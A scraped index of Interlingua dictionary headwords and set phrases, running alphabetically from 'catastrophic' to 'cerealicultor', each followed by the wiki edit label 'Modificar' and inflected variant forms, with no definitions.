catastrophicModificar catastrophico(s) \/ catastrophica(s) catastrophismoModificar catatoniaModificar catatonicModificar catatonico(s) \/ catatonica(s) catatonicoModificar catch [A]Modificar catcher [A]Modificar catechese = catechesisModificar catechetaModificar catecheta [le \/ la catecheticModificar catechetico(s) \/ catechetica(s) catecheticaModificar catechisarModificar catechizar catechisationModificar catechization catechisatorModificar catechizator catechismoModificar catechistaModificar catechisticModificar catechistico(s) \/ catechistica(s) catecholaminaModificar catechumenatoModificar catechumenoModificar categoremaModificar categorema [le categorematicModificar categorematico(s) \/ categorematica(s) categoriaModificar categoria de etateModificar categoria de pesoModificar categoria de un determinate etateModificar categoria de una determinata etate categoria professionalModificar categoria restanteModificar categoria salarialModificar categorialModificar categorial(es) categoricModificar categorico(s) \/ categorica(s) categoricitateModificar categoricitate de un responsaModificar categoricitate de una responsa categorisarModificar categorizar categorisationModificar categorization catenaModificar catena a \/ de barrarModificar catena a \/ de niveModificar catena alimentariModificar catena alimentaria catena alpinModificar catena alpina catena antifurtoModificar catena cinematicModificar catena cinematica catena con un pendenteModificar catena de acieroModificar catena de agrimensorModificar catena de alimentationModificar catena de ancoraModificar catena de argentoModificar catena de auroModificar catena de bicyclettaModificar catena de boiaModificar catena de burgomaestroModificar catena de canModificar catena de carbonModificar catena de collinasModificar catena de derailleurModificar catena de eventosModificar catena de fabricationModificar catena de frenageModificar catena de frenoModificar catena de galeaModificar catena de galeraModificar catena de honorModificar catena de horologioModificar catena de hotelsModificar catena de hydrocarburosModificar catena de imbottiliamentoModificar catena de magazinesModificar catena de montageModificar catena de montaniasModificar catena de niveModificar catena de productionModificar catena de production automatisateModificar catena de production automatizata catena de propulsionModificar catena de puteoModificar catena de remolcageModificar catena de scafoltageModificar catena de sclavoModificar catena de securitateModificar catena de snackbarsModificar catena de stationes de radarModificar catena de transistorsModificar catena de transmissionModificar catena levatoriModificar catena levatoria catena motorModificar catena motrice catena peptidicModificar catena peptidica catena polypeptidicModificar catena polypeptidica catena propulsoriModificar catena propulsoria catena ramificateModificar catena ramificata catenarModificar catenariModificar catenario(s) \/ catenaria(s) catenas antiderapanteModificar catenas antiderapantes catenas irrumpibileModificar catenas irrumpibiles catenettaModificar catenetta de manillaModificar catenetta de securitateModificar catergolModificar catergol [le catgutModificar catgut [le cathareModificar catharo(s) \/ cathara(s) catharicModificar catharico(s) \/ catharica(s) CatharinaModificar catharismoModificar catharoModificar catharsisModificar catharsis [la catharticModificar cathartico(s) \/ cathartica(s) catharticoModificar cathedraModificar cathedra de angleseModificar cathedra universitariModificar cathedra universitaria cathedralModificar cathedral adj, sub [la cathedral gothicModificar cathedral gothica cathepsinaModificar catheterModificar catheter [le catheter cardiacModificar catheter cardiaco catheter de stomachoModificar catheter del cordeModificar catheter gastricModificar catheter gastrico catheter stomachalModificar catheterisarModificar catheterizar catheterisationModificar catheterization catheterismoModificar cathetoModificar cathetometriaModificar cathetometroModificar cathodicModificar cathodico(s) \/ cathodica(s) cathodoModificar cathodo incandescenteModificar cathodophonoModificar catholicModificar catholico(s) \/ catholica(s) catholicisarModificar catholicizar catholicismoModificar catholicismo austerModificar catholicismo austero catholicismo romanModificar catholicismo romano catholicismo stricteModificar catholicismo stricto catholicitateModificar catholicoModificar catholico austerModificar catholico austero catholico ferventeModificar catholico romanModificar catholico romano catholico stricteModificar catholico stricto catholisarModificar catholizar cationModificar cation [le cationicModificar cationico(s) \/ cationica(s) catoptricModificar catoptrico(s) \/ catoptrica(s) catoptricaModificar catoptromantiaModificar catranModificar catran [le catranarModificar catranar le tectoModificar catranateModificar catranato(s) \/ catranata(s) catranatorModificar catraneriaModificar catranoseModificar catranoso(s) \/ catranosa(s) cattaModificar cattescModificar cattesco(s) \/ cattesca(s) cattleyaModificar cattoModificar catto angoraModificar catto domesticModificar catto domestico catto erranteModificar catto famelicModificar catto famelico catto siameseModificar catto siamese catto silvaticModificar catto silvatico catto tigrateModificar catto tigrato catto tigreModificar catto vagabundeModificar catto vagabundo cattonModificar caucalisModificar caucalis [la CaucasiaModificar caucasianModificar caucasiano(s) \/ caucasiana(s) caucasianoModificar caucasicModificar caucasico(s) \/ caucasica(s) CaucasoModificar cauchu {tsh}Modificar cauchu [le cauchu alveolateModificar cauchu alveolato cauchu artificialModificar cauchu de plantationModificar cauchu naturalModificar cauchu scumoseModificar cauchu scumoso cauchu spongiaModificar cauchu spumaModificar cauchu spumoseModificar cauchu spumoso cauchu syntheticModificar cauchu synthetico cauchu vulcanisateModificar cauchu vulcanizato caudaModificar cauda cometariModificar cauda cometaria cauda de arieteModificar cauda de cattoModificar cauda de cavalloModificar cauda de genteModificar cauda de hirundineModificar cauda de lucioModificar cauda de oveModificar cauda de pavonModificar cauda de porcoModificar cauda de raiaModificar cauda de rattoModificar cauda de scorpionModificar cauda de un cometaModificar cauda de vaccaModificar cauda de vulpeModificar cauda prehensibileModificar cauda prehensileModificar cauda prensileModificar cauda saltatoriModificar cauda saltatoria cauda serpentinModificar cauda serpentina cauda spinoseModificar cauda spinosa caudalModificar caudal(es) cauda-rubieModificar cauda-rubia cauda-rubie nigreModificar cauda-rubia nigra caudatarioModificar caudateModificar caudato(s) \/ caudata(s) caudatifolieModificar caudatifolio(s) \/ caudatifolia(s) caudiculaModificar caudifereModificar caudifero(s) \/ caudifera(s) caudifolieModificar caudifolio(s) \/ caudifolia(s) caudiformeModificar caudiforme(s) caudipetaleModificar caudipetalo(s) \/ caudipetala(s) cauleModificar caule [le caule blancModificar caule blanco caule de BrusselModificar caule de BruxellesModificar caule de forrageModificar caule de MilanoModificar caule de SavoiaModificar caule florModificar caule ornamentalModificar caule punctate \/ punctuteModificar caule punctato \/ punctuto caule rubieModificar caule rubio caule verdeModificar caulerapaModificar caulescenteModificar caulescente(s) cauliflorModificar cauliflor(es) caulifloriaModificar cauliformeModificar cauliforme(s) caulinarModificar caulinar(es) cauriModificar cauri [le causaModificar causa annexeModificar causa annexa causa concomitanteModificar causa criminalModificar causa de \/ del decessoModificar causa de homicidioModificar causa de morteModificar causa de stressModificar causa e effectoModificar causa et effecto causa efficienteModificar causa extrinsecModificar causa extrinseca causa finalModificar causa fundamentalModificar causa immediateModificar causa immediata causa initialModificar causa mediateModificar causa mediata causa penalModificar causa primeModificar causa prima causa primitiveModificar causa primitiva causa principalModificar causa probabileModificar causa proximeModificar causa proxima causa secundariModificar causa secundaria causa supplementariModificar causa supplementaria causa ultimateModificar causa ultimata causalModificar causal(es) causalgiaModificar causalitateModificar causarModificar causar angustiaModificar causar confusionModificar causar consternationModificar causar costos a un personaModificar causar costos a una persona causar damno(s)Modificar causar damnos enormeModificar causar damnos enormes causar devastationes (tremende)Modificar causar devastationes (tremendas) causar enoios a un personaModificar causar enoios a una persona causar frictionesModificar causar grande molestia a un personaModificar causar grande molestia a una persona causar le hilaritate generalModificar causar la hilaritate general causar le ruina de un personaModificar causar la ruina de una persona causar lesiones corporalModificar causar lesiones corporales causar multe molestia a un personaModificar causar multa molestia a una persona causar pena a un personaModificar causar pena a una persona causar perditas importante al inimicoModificar causar perditas importantes al inimico causar perditas sever al inimicoModificar causar perditas severas al inimico causar problemasModificar causar repugnantiaModificar causar repulsionModificar causar sensationModificar causar su proprie destructionModificar causar su propria destruction causar terror a un personaModificar causar terror a una persona causar timor a un personaModificar causar timor a una persona causar un commotionModificar causar una commotion causar un feritaModificar causar una ferita causar un impacto inModificar causar un maladiaModificar causar una maladia causar un massacroModificar causar un sensation disagradabileModificar causar una sensation disagradabile causas alienModificar causas alienas causas de ineligibilitateModificar causas externeModificar causas externas causas extrinsec de un factoModificar causas extrinsecas de un facto causas incogniteModificar causas incognitas causas multipleModificar causas multiplas causas remoteModificar causas remotas causationModificar causativeModificar causativo(s) \/ causativa(s) causativoModificar causatorModificar causticModificar caustico(s) \/ caustica(s) causticaModificar causticitateModificar causticitate de un epigrammaModificar causticitate de un satiraModificar causticitate de una satira causticoModificar cauteModificar cauto(s) \/ cauta(s) cautelaModificar cautelarModificar cautelar vb cautelar su derectosModificar cautelar sus derectos cauterioModificar cauterisarModificar cauterizar cauterisar un plagaModificar cauterizar una plaga cauterisationModificar cauterization cauterisation de un verrucaModificar cauterization de una verruca cautionModificar caution juratoriModificar caution juratoria caution legalModificar caution realModificar caution subsidiariModificar caution subsidiaria cautionalModificar cautional(es) cautionarModificar cautionar vb cautionar un personaModificar cautionar una persona cautionarioModificar cavaModificar cava de furesModificar cava de robatoresModificar cavalcabileModificar cavalcabile(s) cavalcadaModificar cavalcarModificar cavalcar al trottoModificar cavalcatorModificar cavallaModificar cavallerescModificar cavalleresco(s) \/ cavalleresca(s) cavalleriaModificar cavalleria cosacModificar cavalleria cosaca cavalleria legierModificar cavalleria legiera cavalleroModificar cavallero banditoModificar cavallero cruciateModificar cavallero cruciato cavallero de industriaModificar Cavallero de MaltaModificar cavallero del GralModificar cavallero del triste figuraModificar cavallero de la triste figura cavallero dismontateModificar cavallero dismontato cavallero erranteModificar cavallero in le ordine de Oranje-NassauModificar cavallero in le \/ la ordine de Oranje-Nassau cavallero piliatorModificar cavallero predatorModificar cavalleros HospitalerosModificar cavalleroseModificar cavalleroso(s) \/ cavallerosa(s) cavallettoModificar cavalletto de pictorModificar cavalletto de serratorModificar cavalletto de violinoModificar cavallinModificar cavallino(s) \/ cavallina(s) cavalloModificar cavallo a \/ de basculaModificar cavallo a dorso nudeModificar cavallo a dorso nudo cavallo alateModificar cavallo alato cavallo arabeModificar cavallo ardenteModificar cavallo balancianteModificar cavallo balanciatoriModificar cavallo balanciatorio cavallo blanc con stella in le fronteModificar cavallo blanco con stella in le fronte cavallo castrateModificar cavallo castrato cavallo de bastoModificar cavallo de battaliaModificar cavallo de bireroModificar cavallo de cargaModificar cavallo de caroselloModificar cavallo de carrossaModificar cavallo de circoModificar cavallo de cosacoModificar cavallo de cursaModificar cavallo de dragonModificar cavallo de fermaModificar cavallo de FrisiaModificar cavallo de guerraModificar cavallo de laborModificar cavallo de lignoModificar cavallo de maneoModificar cavallo de molinoModificar cavallo de paradaModificar cavallo de policiaModificar cavallo de raciaModificar cavallo de remolcageModificar cavallo de remontaModificar cavallo de reservaModificar cavallo de sellaModificar cavallo de tractoModificar cavallo de TroiaModificar cavallo difficilemente cavalcabileModificar cavallo docileModificar cavallo feminaModificar cavallo femina cavallo focoseModificar cavallo focoso cavallo indocileModificar cavallo indomabileModificar cavallo insellateModificar cavallo insellato cavallo marinModificar cavallo marino cavallo neonateModificar cavallo neonato cavallo reproductorModificar cavallo restiveModificar cavallo restivo cavallo tigrateModificar cavallo tigrato cavallo troianModificar cavallo troiano cavallo vitioseModificar cavallo vitioso cavallos barbarescModificar cavallos barbarescos cavallo-vaporModificar cavarModificar cavar un puteoModificar cavatinaModificar cavatorModificar caveModificar cavo(s) \/ cava(s) cavernaModificar caverna a \/ de stalactitesModificar caverna de brigantesModificar caverna de robatoresModificar caverna stalactifereModificar caverna stalactifera cavernicolaModificar cavernicoleModificar cavernicolo(s) \/ cavernícola(s) cavernoseModificar cavernoso(s) \/ cavernosa(s) cavernositateModificar caviaModificar cavia a \/ de \/ pro avesModificar cavia a \/ de \/ pro canarioModificar cavia a \/ de coniliosModificar cavia a \/ de leonesModificar cavia a \/ de \/ pro simiasModificar cavia a \/ de tigreModificar cavia a \/ de ursosModificar cavia de \/ del ascensorModificar cavia de FaradayModificar cavia de gallosModificar cavia de \/ del liftModificar cavia de nocteModificar cavia de papagaiModificar cavia de scalasModificar cavia de turdosModificar cavia del leonesModificar cavia de los leones cavia grilliateModificar cavia grilliata caviarModificar caviar [le caviar rubieModificar caviar rubio cavicorneModificar cavicorne(s) \/ cavicorno(s) \/ cavicorna(s) cavicornoModificar caviliaModificar cavilia a bananaModificar cavilia a viteModificar cavilia anularModificar cavilia bipolarModificar cavilia de arboreModificar cavilia de bollardoModificar cavilia de pannos lavateModificar cavilia de pannos lavatos cavilia de securitateModificar cavilia del manivellaModificar cavilia de la manivella cavilia dipolarModificar cavilia multipleModificar cavilia multipla cavilia transversalModificar cavillarModificar cavillar vb cavillationModificar cavillatorModificar cavilloseModificar cavilloso(s) \/ cavillosa(s) cavillositateModificar cavitateModificar cavitate abdominalModificar cavitate amnioticModificar cavitate amniotica cavitate articularModificar cavitate axillarModificar cavitate branchialModificar cavitate buccalModificar cavitate cellularModificar cavitate chorionicModificar cavitate chorionica cavitate corporalModificar cavitate cotyloideModificar cavitate cranianModificar cavitate craniana cavitate de tympanoModificar cavitate del buccaModificar cavitate de la bucca cavitate del cerebroModificar cavitate del corporeModificar cavitate del cranioModificar cavitate dentalModificar cavitate dentariModificar cavitate dentaria cavitate ethmoidalModificar cavitate gastricModificar cavitate gastrica cavitate glenoideModificar cavitate in un denteModificar cavitate sub le bracioModificar cavitate maxillarModificar cavitate oralModificar cavitate pallealModificar cavitate pelvicModificar cavitate pelvica cavitate pericardicModificar cavitate pericardica cavitate peritonealModificar cavitate pleuralModificar cavitate spinalModificar cavitate splanchnicModificar cavitate splanchnica cavitate stomachalModificar cavitate thoracicModificar cavitate thoracica cavitate tympanicModificar cavitate tympanica cavitate uterinModificar cavitate uterina cavitate ventricularModificar cavitates del nasoModificar cavitates del oculosModificar cavitates de los oculos cavitates nasalModificar cavitates nasales cavitationModificar cavitation initialModificar cavoModificar cavo de aquaModificar cavo de axillaModificar cavo de undaModificar cavo del geniculoModificar cavo del genuModificar cavo del manoModificar cavo de la mano cecModificar ceco(s) \/ ceca(s) cec de dolorModificar [ceco(s) \/ ceca(s)] de dolor cec de nascentiaModificar [ceco(s) \/ ceca(s)] de nascentia cec de rabieModificar [ceco(s) \/ ceca(s)] de rabie cec de un oculoModificar [ceco \/ ceca] de un oculo cec nateModificar [ceco(s) \/ nato(s)] \/ [ceca(s) \/ nata(s)] cec per le niveModificar [ceco(s) \/ ceca(s)] per la nive cecamenteModificar cecamente inamorateModificar cecamente inamorato(s) \/ inamorata(s) cecarModificar cecidioModificar cecidiologiaModificar cecidiologicModificar cecidiologico(s) \/ cecidiologica(s) cecidiologoModificar cecidomiaModificar cecitateModificar cecitate chromaticModificar cecitate chromatica cecitate congeniteModificar cecitate congenita cecitate corticalModificar cecitate crepuscularModificar cecitate de nocteModificar cecitate verbalModificar cecoModificar ceco de un oculoModificar cederModificar ceder a su impulsationesModificar ceder a sus impulsationes ceder a un impulsionModificar ceder a una impulsion ceder al capriciosModificar ceder a los capricios ceder al desiderios de un personaModificar ceder a los desiderios de una persona ceder al desiros de un personaModificar ceder a los desiros de una persona ceder al implorationes del matresModificar ceder a las implorationes de las matres ceder al naturaModificar ceder a la natura ceder al pressionModificar ceder a la pression ceder al pression deModificar ceder a la pression de ceder al superioritate numericModificar ceder a la superioritate numerica ceder al tentationModificar ceder a la tentation ceder al violentiaModificar ceder a la violentia ceder le passageModificar ceder le passo a un personaModificar ceder le passo a una persona ceder su placiaModificar ceder su placia a un personaModificar ceder su placia a una persona ceder terrenoModificar ceder tote su derectos aModificar ceder totos sus derectos a ceder voluntarimente (a)Modificar ceder voluntariamente (a) cedibileModificar cedibile(s) cedibilitateModificar cedibilitate de un derectoModificar cedibilitate de un tituloModificar cedillaModificar ceditorModificar cedretoModificar cedroModificar CedronModificar cedros del LibanoModificar cedulaModificar cedula de arrentamentoModificar cedularModificar cedular(es) CEE: Communitate Economic EuropeeModificar CEE: Communitate Economica Europea cegesimalModificar cegesimal(es) celamentoModificar celarModificar celar vb celar se detra le portaModificar celar se detra la porta celar su disappunctamentoModificar celar su disillusionModificar celar su intentionesModificar celar sus intentiones celar su sentimentosModificar celar sus sentimentos celastraceasModificar celastro scandenteModificar celateModificar celato(s) \/ celata(s) celatorModificar celebranteModificar celebrante [le \/ la celebrarModificar celebrar con solemnitateModificar celebrar le carnavalModificar celebrar le centenario de un citateModificar celebrar le centenario de una citate celebrar le missaModificar celebrar la missa celebrar le sabbatoModificar celebrar le victoriaModificar celebrar la victoria celebrar nuptiasModificar celebrar su \/ un anniversarioModificar celebrar su \/ un anniversario celebrar un festaModificar celebrar una festa celebrar un maritageModificar celebrar un matrimonioModificar celebrationModificar celebration de un anniversarioModificar celebration de un festaModificar celebration de una festa celebration del eucharistiaModificar celebration de la eucharistia celebration del lustroModificar celebration del maritageModificar celebration del matrimonioModificar celebration del resurrection (de Nostre Senior)Modificar celebration de la resurrection (de Nostro Senior) celebration del sabbatoModificar celebration triennalModificar celebrationes biennalModificar celebrationes biennales celebratorModificar celebreModificar celebre(s) celebritateModificar celebritate de un actorModificar celebritate mundialModificar celebritate popModificar celebritates del mundo del filmModificar celerarModificar celerar vb celereModificar celere(s) celeritateModificar celeritate del sonoModificar celestaModificar celesteModificar celeste(s) celestialModificar celestial(es) CelestinaModificar celestiteModificar celestite [la celiacModificar celiaco(s) \/ celiaca(s) celibatariModificar celibatario(s) \/ celibataria(s) celibatariaModificar celibatarioModificar celibatario indurateModificar celibatario indurato celibatoModificar celibato del prestreModificar celibato del sacerdoteModificar celibato ecclesiasticModificar celibato ecclesiastico celibeModificar celibe [le \/ la cella de isolamentoModificar cella de policiaModificar cella del morteModificar cella de la morte cella frigideModificar cella frigida cella frigorifereModificar cella frigorifera cella frigorificModificar cella frigorifica cella monachalModificar cella pro tres personasModificar cella refrigerateModificar cella refrigerata cella solarModificar cellarieroModificar cellarioModificar cellario a \/ de \/ pro carbonModificar cellario a \/ de \/ pro vinosModificar cellario de fermentationModificar cellario del pumpasModificar cellario de las pumpas cellario viticoleModificar cellario viticolo cellario voltateModificar cellario voltato celleModificar celle(s) \/ cella(s) adj dem celliteModificar cellite [la celloModificar cello pron dem cellophanModificar cellophan [le cellulaModificar cellula adiposeModificar cellula adiposa cellula apicalModificar cellula bipolarModificar cellula cambialModificar cellula canceroseModificar cellula cancerosa cellula cartilaginoseModificar cellula cartilaginosa cellula cerebralModificar cellula communistaModificar cellula corticalModificar cellula dator \/ donatorModificar cellula datrice \/ donatrice cellula de effusionModificar cellula del gustoModificar cellula del retinaModificar cellula de la retina cellula electrolyticModificar cellula electrolytica cellula epidermicModificar cellula epidermica cellula epithelialModificar cellula falciformeModificar cellula flagellateModificar cellula flagellata cellula germinalModificar cellula germinativeModificar cellula germinativa cellula glandularModificar cellula gustativeModificar cellula gustativa cellula haploideModificar cellula hemoglobinoseModificar cellula hemoglobinosa cellula hepaticModificar cellula hepatica cellula hypertrophicModificar cellula hypertrophica cellula internodalModificar cellula interstitialModificar cellula lactifereModificar cellula lactifera cellula leucemicModificar cellula leucemica cellula lignificateModificar cellula lignificata cellula lignoseModificar cellula lignosa cellula matreModificar cellula meristematicModificar cellula meristematica cellula multipolarModificar cellula muscularModificar cellula nervoseModificar cellula nervosa cellula olfactiveModificar cellula olfactiva cellula olfactoriModificar cellula olfactoria cellula ossoseModificar cellula ossosa cellula parenchymaModificar cellula photoconductorModificar cellula photoconductrice cellula photoelectricModificar cellula photoelectrica cellula photovoltaicModificar cellula photovoltaica cellula piezoelectricModificar cellula piezoelectrica cellula pigmentariModificar cellula pigmentaria cellula polynuclearModificar cellula pyramidalModificar cellula reproductorModificar cellula reproductrice cellula seminalModificar cellula solarModificar cellula sororModificar cellula spermaticModificar cellula spermatica cellula stellateModificar cellula stellata cellula suberifereModificar cellula suberifera cellula suberoseModificar cellula suberosa cellula tumoroseModificar cellula tumorosa cellula urticanteModificar cellula vascularModificar cellula vegetalModificar cellula visualModificar cellularModificar cellular(es) cellulas endothelialModificar cellulas endotheliales cellulas ganglionarModificar cellulas ganglionares cellulas mucipareModificar cellulas mucipares \/ muciparas cellulas polyploideModificar cellulas polyploides cellulas pyramidalModificar cellulas pyramidales cellulas resinifereModificar cellulas resiniferas cellulas sarcomatoseModificar cellulas sarcomatosas cellulas somaticModificar cellulas somaticas cellulas sororesModificar cellulas stellateModificar cellulas stellatas cellulas terminalModificar cellulas terminales cellulas tumoralModificar cellulas tumorales cellulaseModificar cellulase [la cellulitisModificar cellulitis [la celluloideModificar celluloide [le cellulosaModificar cellulosa [la cellulosa de lignoModificar cellulosa de sulfitoModificar celluloseModificar celluloso(s) \/ cellulosa(s) cellulosicModificar cellulosico(s) \/ cellulosica(s) cellulotherapiaModificar celoModificar celo clarModificar celo claro celo coperteModificar celo coperto celo de cinereModificar celo de lectoModificar celo de niveModificar celo de primaveraModificar celo legiermente coperteModificar celo legieramente coperto celo limpideModificar celo limpido celo nivoseModificar celo nivoso celo nubiloseModificar celo nubiloso celo pluvioseModificar celo pluvioso celo primaveralModificar celo purModificar celo puro celo semicoperteModificar celo semicoperto celo serenModificar celo sereno celo stellateModificar celo stellato celo vaporoseModificar celo vaporoso celosiaModificar celseModificar celso(s) \/ celsa(s) celsitudeModificar celtaModificar celta [le \/ la celtibereModificar celtibero(s) \/ celtibera(s) celtibericModificar celtiberico(s) \/ celtiberica(s) celtiberoModificar celticModificar celtico(s) \/ celtica(s) celtisarModificar celtizar celtistaModificar celtista [le \/ la cembalistaModificar cembaloModificar cementarModificar cementar con trassModificar cementar un muroModificar cementateModificar cementato(s) \/ cementata(s) cementationModificar cementation electrolyticModificar cementation electrolytica cementeriaModificar cementoModificar cemento al latexModificar cemento aluminoseModificar cemento aluminoso cemento armateModificar cemento armato cemento bituminoseModificar cemento bituminoso cemento mixteModificar cemento mixto cemento romanModificar cemento romano cementoseModificar cementoso(s) \/ cementosa(s) cemeterialModificar cemeterial(es) cemeterioModificar cemeterio de autos \/ automobilesModificar cemeterio de honorModificar cemeterio judeeModificar cemeterio judeo cemeterio militarModificar cemeterio publicModificar cemeterio publico cenaModificar cena de NatalModificar cenaculoModificar cenarModificar cenar forisModificar cenobioModificar cenobio de algasModificar cenobitaModificar cenobiticModificar cenobitico(s) \/ cenobitica(s) cenobitismoModificar CenopegiasModificar cenotaphioModificar cenothoModificar cenozoicModificar cenozoico(s) \/ cenozoica(s) cenozoicoModificar censerModificar censer vb censimentoModificar censimento del populationModificar censimento de la population censitariModificar censitario(s) \/ censitaria(s) censoModificar censo del populationModificar censo de la population censorModificar censoratoModificar censorialModificar censorial(es) censuraModificar censura cinematographicModificar censura cinematographica censura del pressaModificar censura de la pressa censura ecclesiaticModificar censura ecclesiatica censura politicModificar censura politica censurabileModificar censurabile(s) censurarModificar censurar le comportamento de un personaModificar censurar le comportamento de una persona censurar un actoModificar censurar un filmModificar censurar un libroModificar censuratorModificar cent pl cents [A]Modificar centaureaModificar centaurea montanModificar centaurea montana centaurea solstitialModificar centauricModificar centaurico(s) \/ centaurica(s) CentauroModificar centauroModificar centavoModificar centenaModificar centenariModificar centenario(s) \/ centenaria(s) centenarioModificar centesimalModificar centesimal(es) centesimeModificar centesimo(s) \/ centesima(s) centesimoModificar centesimo pl centesimi [I]Modificar centiarModificar centiar [le centibarModificar centibar [le centigradeModificar centigrado(s) \/ centigrada(s) centigradoModificar centigramma cgModificar centilModificar centil [le centilitro clModificar centime [F]Modificar centimetrarModificar centimetro cmModificar centimetro cubic cm³Modificar centimetro cubico centimetro quadrate cm²Modificar centimetro quadrato centimoModificar centipedeModificar centipede(s) centistereoModificar centoModificar cento sub, adj num cento e tante florinosModificar cento e \/ et tantos florinos cento metros detraModificar cento personasModificar centrageModificar centralModificar central adj, sub [la central atomicModificar central atomica central de aquaModificar central de compraModificar central de punctaModificar central de telephonoModificar central de venditaModificar central electric (conventional)Modificar central electrica (conventional) central electronuclearModificar central geothermicModificar central geothermica central hydroelectricModificar central hydroelectrica central nuclearModificar central syndicalModificar central syndicalistaModificar central telephonicModificar central telephonica central thermalModificar central thermicModificar central thermica centralisarModificar centralizar centralisar le poterModificar centralizar le poter centralisationModificar centralization centralisation politicModificar centralization politica centralisatorModificar centralizator centralismoModificar centralistaModificar centralista [le \/ la centralitateModificar centranthoModificar centrarModificar centrar le attention a un cosaModificar centrar la attention a una cosa centrar le ballon ante le goalModificar centrar un figuraModificar centrar una figura centrar un rotaModificar centrar una rota centricModificar centrico(s) \/ centrica(s) centricitateModificar centrifugaModificar centrifuga [la centrifuga electricModificar centrifuga electrica centrifugarModificar centrifugateModificar centrifugato(s) \/ centrifugata(s) centrifugationModificar centrifugation fractionateModificar centrifugation fractionata centrifugatoModificar centrifugatorModificar centrifugeModificar centrifugo(s) \/ centrifuga(s) centripeteModificar centripeto(s) \/ centripeta(s) centriscoModificar centrismoModificar centristaModificar centrista [le \/ la centroModificar centro acusticModificar centro acustico centro anticanceroseModificar centro anticanceroso centro_avante \/ centroavanteModificar centro cardiologicModificar centro cardiologico centro commercialModificar centro creativeModificar centro creativo centro culturalModificar centro de attractionModificar centro de campingModificar centro de caravanasModificar centro de cardiologiaModificar centro de civilisationModificar centro de civilization centro de condensationModificar centro de crescentiaModificar centro de curvaturaModificar centro de depressionModificar centro de discussionModificar centro de disintoxicationModificar centro de distractionModificar centro de distributionModificar centro de divertimentoModificar centro de documentationModificar centro de emigrationModificar centro de experimentation agricoleModificar centro de experimentation agricola centro de formation (professional)Modificar centro de gravitateModificar centro de informaticaModificar centro de inrolamentoModificar centro de insemination artificialModificar centro de interesseModificar centro de intertenimentoModificar centro de magazines del quartieroModificar centro de mediationModificar centro de mobilisationModificar centro de mobilization centro de olfactionModificar centro de poterModificar centro de pressaModificar centro de productivitateModificar centro de receptionModificar centro de recerca(s)Modificar centro de recercas atomicModificar centro de recercas atomicas centro de recercas nuclearModificar centro de recercas nucleares centro de recreationModificar centro de recrutaModificar centro de recrutamentoModificar centro de respiration artificialModificar centro de rotationModificar centro de sanitateModificar centro de studiosModificar centro de symmetriaModificar centro de terraModificar centro de un circuloModificar centro del citateModificar centro de la citate centro del urbeModificar centro de la urbe centro derecteModificar centro derecto centro editorialModificar centro focalModificar centro funerariModificar centro funerario centro industrialModificar centro informaticModificar centro informatico centro medico-socialModificar centro minerariModificar centro minerario centro mobilisatorModificar centro mobilizator centro nervoseModificar centro nervoso centro obstetricModificar centro obstetrico centro opticModificar centro optico centro pro \/ de juventuteModificar centro pro le juventuteModificar centro pro la juventute centro productorModificar centro psychiatricModificar centro psychiatrico centro radicalModificar centro regionalModificar centro respiratoriModificar centro respiratorio centro touristicModificar centro touristico centro transfusionalModificar centro universitariModificar centro universitario centro urbanModificar centro urbano centro visualModificar centroafricanModificar centroafricano(s) \/ centroafricana(s) centroamericanModificar centroamericano(s) \/ centroamericana(s) centroclinalModificar centroclinal(es) centroeuropeeModificar centroeuropeo(s) \/ centroeuropea(s) centroideModificar centroide [le centromedianoModificar centromeroModificar centros psychomotorModificar centros psychomotores centroscopiaModificar centroscopicModificar centroscopico(s) \/ centroscopica(s) centrosomaModificar centrosoma [le centumviralModificar centumviral(es) centumviratoModificar centumviroModificar centuplarModificar centuplar vb centupleModificar centuplo(s) \/ centupla(s) centuplicarModificar centuplicateModificar centuplicato(s) \/ centuplicata(s) centuploModificar centuriaModificar centurioModificar cenuroModificar cepaModificar cephalalgiaModificar cephalalgicModificar cephalalgico(s) \/ cephalalgica(s) cephalantheraModificar cephalanthera albeModificar cephalanthera alba cephalanthera grandiflorModificar cephalanthera longifolieModificar cephalanthera longifolia cephalanthera rubreModificar cephalanthera rubra cephalanthoModificar cephalicModificar cephalico(s) \/ cephalica(s) cephalisationModificar cephalization cephalogrammaModificar cephaloideModificar cephaloide [le cephalometriaModificar cephalometroModificar cephalopodoModificar cephalorachidianModificar cephalorachidiano(s) \/ cephalorachidiana(s) cephalorhachideeModificar cephalorhachideo(s) \/ cephalorhachidea(s) cephalosporinaModificar cephalothoraceModificar cephalothorace [le cepheideModificar cepheide [la CepheoModificar cepulaModificar ceraModificar cera a \/de lustrarModificar cera a \/ de \/ pro mobilesModificar cera a \/ de modellarModificar cera a \/ de \/ pro scarpasModificar cera a \/ de \/ pro sigillosModificar cera a \/ de \/ pro skisModificar cera de apeModificar cera de \/ del auresModificar cera de \/ de_los aures cera de candelaModificar cera fossileModificar cera vegetalModificar cera virgineModificar cerambyce = cerambyxModificar cerambyce = cerambyx [le ceramicModificar ceramico(s) \/ ceramica(s) ceramicaModificar ceramica al oxydo de aluminiumModificar ceramica de DelftModificar ceramica de vitroModificar ceramica laconicModificar ceramica laconica ceramica rusticModificar ceramica rustica ceramicas de arteModificar ceramistaModificar ceramista de arteModificar ceramoModificar ceramographiaModificar cerarModificar cerasinaModificar cerasteModificar ceraste [le cerastioModificar cerastio arvenseModificar cerastio tomentoseModificar cerastio tomentoso cerastio trivialModificar cerateModificar cerato(s) \/ cerata(s) ceratoModificar ceratodoModificar ceratophyllaceasModificar ceratophylleModificar ceratophyllo(s) \/ ceratophylla(s) ceratophylloModificar ceratorModificar CerberoModificar cercaModificar cercabileModificar cercabile(s) cercarModificar cercar asyloModificar cercar distractionModificar cercar in le dictionarioModificar cercar in su memoriaModificar cercar laborModificar cercar le fortunaModificar cercar la fortuna cercar le perfectionModificar cercar la perfection cercar le salvation (in le fuga)Modificar cercar la salvation (in la fuga) cercar pretextosModificar cercar succursoModificar cercar temporaneemente un solutionModificar cercar temporaneamente una solution cercar travalioModificar cercar tresoresModificar cercar un aco in un palearioModificar cercar un aco in un pila de fenoModificar cercar un aco in una pila de feno cercar un agulia in un palearioModificar cercar una agulia in un paleario cercar un agulia in un pila de fenoModificar cercar una agulia in una pila de feno cercar un arrangiamentoModificar cercar un cosa desperatementeModificar cercar una cosa desperatamente cercar un cosa in un direction determinateModificar cercar una cosa in una direction determinata cercar un expedienteModificar cercar un objectoModificar cercar un personaModificar cercar una persona cercar un reconforto in le religionModificar cercar un reconforto in la religion cercar un refugioModificar cercar un solutionModificar cercar una solution cercatorModificar cercator de auroModificar cercator de tresoresModificar cercaturaModificar cercisModificar cercis [la cercopithecoModificar cerealModificar cereal adj, sub [le cereales alimentariModificar cereales alimentarios cereales de forrageModificar cereales panificabileModificar cereales panificabiles cerealicultorModificar 